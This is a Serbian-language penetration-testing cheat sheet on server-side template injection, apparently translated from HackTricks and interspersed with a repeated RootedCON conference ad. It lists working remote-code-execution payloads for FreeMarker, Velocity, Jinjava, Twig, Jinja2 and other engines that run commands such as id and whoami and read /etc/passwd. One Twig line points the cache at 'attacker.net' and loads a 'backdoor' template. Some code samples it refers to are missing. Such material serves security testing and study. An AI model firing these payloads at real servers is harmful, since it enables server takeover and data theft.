RootedCON je najrelevantniji događaj u oblasti sajber bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih profesionalaca u svakoj disciplini.
Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost može biti pronađena u različitim tehnologijama, uključujući Jinju.
Jinja je popularni sistem šablona koji se koristi u veb aplikacijama. Razmotrimo primer koji demonstrira ranjiv isecak koda koji koristi Jinju:
U ovom ranjivom kodu, parametar name iz zahteva korisnika direktno se prosleđuje u šablon pomoću funkcije render. Ovo potencijalno može omogućiti napadaču da ubaci zlonamerni kod u parametar name, što može dovesti do ubacivanja šablona na serverskoj strani.
Na primer, napadač bi mogao da napravi zahtev sa payload-om poput ovog:
Payload {{loše-stvari-ovde}} je ubačen u parametar name. Ovaj payload može sadržati Jinja direktive predložaka koje omogućavaju napadaču da izvrši neovlašćeni kod ili manipuliše mašinom predložaka, potencijalno preuzimajući kontrolu nad serverom.
Da bi se sprečile ranjivosti na ubacivanje predložaka na serverskoj strani, developeri treba da se pobrinu da korisnički unos bude pravilno očišćen i validiran pre nego što bude ubačen u predloške. Implementiranje validacije unosa i korišćenje tehnika bekend-izbegavanja koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
Detekcija
Za detekciju ubacivanja predložaka na serverskoj strani (SSTI), u početku, fuzziranje predložaka je jednostavan pristup. To uključuje ubacivanje sekvence specijalnih karaktera (${{<%[%'"}}%\) u predložak i analiziranje razlika u odgovoru servera na regularne podatke u odnosu na ovaj specijalni payload. Indikatori ranjivosti uključuju:
Bačene greške, otkrivajući ranjivost i potencijalno mašinu predložaka.
Odsustvo payloada u refleksiji, ili delovi koji nedostaju, impliciraju da server obrađuje drugačije nego regularne podatke.
Tekstualni Kontekst: Razlikovanje od XSS-a proverom da li server evaluira izraze predložaka (npr. {{7*7}}, ${7*7}).
Kontekst Koda: Potvrda ranjivosti menjanjem ulaznih parametara. Na primer, promena greeting u http://vulnerable-website.com/?greeting=data.username da vidimo da li je izlaz servera dinamičan ili fiksan, kao u greeting=data.username}}hello vraćajući korisničko ime.
Faza Identifikacije
Identifikacija mašine predložaka uključuje analizu poruka o greškama ili ručno testiranje različitih payloada specifičnih za jezik. Uobičajeni payloadi koji izazivaju greške uključuju ${7/0}, {{7/0}}, i <%= 7/0 %>. Posmatranje odgovora servera na matematičke operacije pomaže u preciziranju specifične mašine predložaka.
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Bypass bezbednosnog peska
⚠️ radi samo na verzijama Freemarker-a ispod 2.3.30
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
U Thymeleaf-u, uobičajeni test za ranjivosti na SSTI je izraz ${7*7}, koji takođe važi za ovaj šablonski motor. Za potencijalno izvršavanje udaljenog koda, mogu se koristiti izrazi poput sledećih:
Thymeleaf zahteva da se ovi izrazi postave unutar određenih atributa. Međutim, inline izrazi se podržavaju za druge lokacije šablona, koristeći sintaksu poput [[...]] ili [(...)]. Dakle, jednostavan testni payload za SSTI može izgledati kao [[${7*7}]].
Međutim, verovatnoća da ovaj payload funkcioniše je generalno niska. Podrazumevana konfiguracija Thymeleaf-a ne podržava dinamičku generaciju šablona; šabloni moraju biti unapred definisani. Programeri bi morali da implementiraju svoj TemplateResolver kako bi kreirali šablone iz niski na zahtev, što je retko.
Thymeleaf takođe nudi preprocesiranje izraza, gde se izrazi unutar duplih donjih crta (__...__) preprocesiraju. Ova funkcija može biti iskorišćena u konstrukciji izraza, kako je prikazano u dokumentaciji Thymeleaf-a:
#{selection.__${sel.code}__}
Primer ranjivosti u Thymeleaf-u
Razmotrite sledeći odlomak koda, koji bi mogao biti podložan zloupotrebi:
{% set cmd ='id'%}{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava je biblioteka za rad sa šablonima na serverskoj strani koja podržava Server-Side Template Injection (SSTI). Jinjava je napisana u Javi i omogućava programerima da koriste funkcionalnosti slične Jinja2 biblioteci za Python. Ova biblioteka se može koristiti za izvršavanje koda na serverskoj strani putem SSTI ranjivosti.
{{'a'.toUpperCase()}} would result in 'A'{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pretražite "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrili ste Jinjava projekat na Github-u.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Expression Language (EL) je osnovna funkcija koja olakšava interakciju između sloja prezentacije (kao što su web stranice) i aplikacione logike (kao što su upravljani bean-ovi) u JavaEE. Ona se široko koristi u više JavaEE tehnologija kako bi olakšala ovu komunikaciju. Ključne JavaEE tehnologije koje koriste EL uključuju:
JavaServer Faces (JSF): Koristi EL za povezivanje komponenti na JSF stranicama sa odgovarajućim podacima i akcijama na backend-u.
JavaServer Pages (JSP): EL se koristi u JSP-u za pristupanje i manipulisanje podacima unutar JSP stranica, čime se olakšava povezivanje elemenata stranice sa podacima aplikacije.
Contexts and Dependency Injection for Java EE (CDI): EL se integriše sa CDI kako bi omogućio besprekornu interakciju između web sloja i upravljanih bean-ova, osiguravajući coerentniju strukturu aplikacije.
Proverite sledeću stranicu da biste saznali više o eksploataciji EL interpretatora:
RootedCON je najrelevantniji događaj u oblasti sajber bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i stručnjaka za sajber bezbednost u svakoj disciplini.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates je sistem za šablone koji je ugrađen u PHP, inspirisan Twig-om. Međutim, za razliku od Twiga, koji uvodi novu sintaksu, Plates koristi ugrađeni PHP kod u šablonima, čineći ga intuitivnim za PHP programere.
Kontroler:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
autori.php
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate PHP šablonizator koji ne kompajlira, koristi XML oznake za deljenje dokumenta na različite delove
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
Jinja2 je potpuno opremljen sistem za šablone za Python. Ima potpunu podršku za Unicode, opciono integrisano okruženje za izvršavanje u pesku, široko se koristi i licenciran je pod BSD licencom.
{{7*7}} = Greška
${7*7} = ${7*7}
{{foobar}} Ništa
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Format šablona
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
Metoda .NET System.Diagnostics.Process.Start može se koristiti za pokretanje bilo kog procesa na serveru i time kreiranje webshell-a. Možete pronaći primer ranjive web aplikacije na https://github.com/cnotin/RazorVulnerableApp
Čak i ako je u pitanju perl, koristi oznake poput ERB u Ruby-ju.
<%= 7*7 %> = 49
<%= foobar %> = Greška
<%= perl code %>
<% perl code %>
SSTI u GO-u
U Go-ovom sistem za šablone, potvrda o njegovom korišćenju može se uraditi sa specifičnim payload-ima:
{{ . }}: Otkriva strukturu unosa podataka. Na primer, ako se prosledi objekat sa atributom Password, {{ .Password }} bi mogao da ga otkrije.
{{printf "%s" "ssti" }}: Očekuje se da prikaže string "ssti".
{{html "ssti"}}, {{js "ssti"}}: Ovi payload-i trebalo bi da vrate "ssti" bez dodavanja "html" ili "js". Dodatne direktive mogu se istražiti u Go dokumentaciji ovde.
Eksploatacija XSS-a
Sa paketom text/template, XSS može biti jednostavan ubacivanjem payload-a direktno. Nasuprot tome, paket html/template enkodira odgovor kako bi sprečio ovo (npr., {{"<script>alert(1)</script>"}} rezultira sa <script>alert(1)</script>). Ipak, definisanje šablona i pozivanje u Go-u može zaobići ovaj enkodiranje: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Eksploatacija RCE-a
Eksploatacija RCE-a značajno se razlikuje između html/template i text/template. Modul text/template omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost "call"), što nije dozvoljeno u html/template. Dokumentacija za ove module je dostupna ovde za html/template i ovde za text/template.
Za RCE putem SSTI u Go-u, mogu se pozvati metodi objekta. Na primer, ako obezbeđeni objekat ima System metod koji izvršava komande, može se eksploatisati kao {{ .System "ls" }}. Obično je potrebno pristupiti izvornom kodu da bi se iskoristilo ovo, kao u datom primeru:
RootedCON je najrelevantniji događaj u oblasti kibernetičke bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i bezbednosnih stručnjaka iz svake discipline.